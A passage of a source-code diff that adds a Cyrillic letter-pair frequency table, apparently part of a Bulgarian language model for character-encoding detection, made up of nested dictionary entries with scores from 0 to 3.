'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 14: { # 'м' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 3, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 1, # 'т' + 19: 3, # 'у' + 29: 2, # 'ф' + 25: 1, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 6: { # 'н' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 1, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 2, # 'б' + 9: 2, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 2, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 3, # 'ф' + 25: 2, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 2, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 2, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 4: { # 'о' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 3, # 'и' + 26: 3, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 3, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 3, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 13: { # 'п' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 3, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 7: { # 'р' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 2, # 'п' + 7: 1, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 2, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 2, # 'ч' + 27: 3, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 8: { # 'с' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 2, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 1, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 2, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 2, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 2, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 5: { # 'т' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 2, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 2, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 19: { # 'у' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 2, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 2, # 'и' + 26: 2, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 2, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 2, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 29: { # 'ф' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 1, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 2, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 25: { # 'х' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 3, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 1, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 22: { # 'ц' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 2, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 0, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 21: { # 'ч' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 3, # 'в' + 20: 1, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 27: { # 'ш' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 2, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 2, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 1, # 'т' + 19: 2, # 'у' + 29: 1, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 24: { # 'щ' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 1, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 17: { # 'ъ' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 2, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 1, # 'и' + 26: 2, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 3, # 'ч' + 27: 2, # 'ш' + 24: 3, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 2, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 52: { # 'ь' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 1, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 1, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 1, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 1, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 42: { # 'ю' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 2, # 'б' + 9: 1, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 1, # 'е' + 23: 2, # 'ж' + 15: 2, # 'з' + 2: 1, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 2, # 'н' + 4: 1, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 2, # 'ц' + 21: 3, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 16: { # 'я' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 3, # 'д' + 3: 2, # 'е' + 23: 1, # 'ж' + 15: 2, # 'з' + 2: 1, # 'и' + 26: 2, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 1, # 'о' + 13: 2, # 'п' + 7: 2, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 3, # 'х' + 22: 2, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 2, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 58: { # 'є' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' 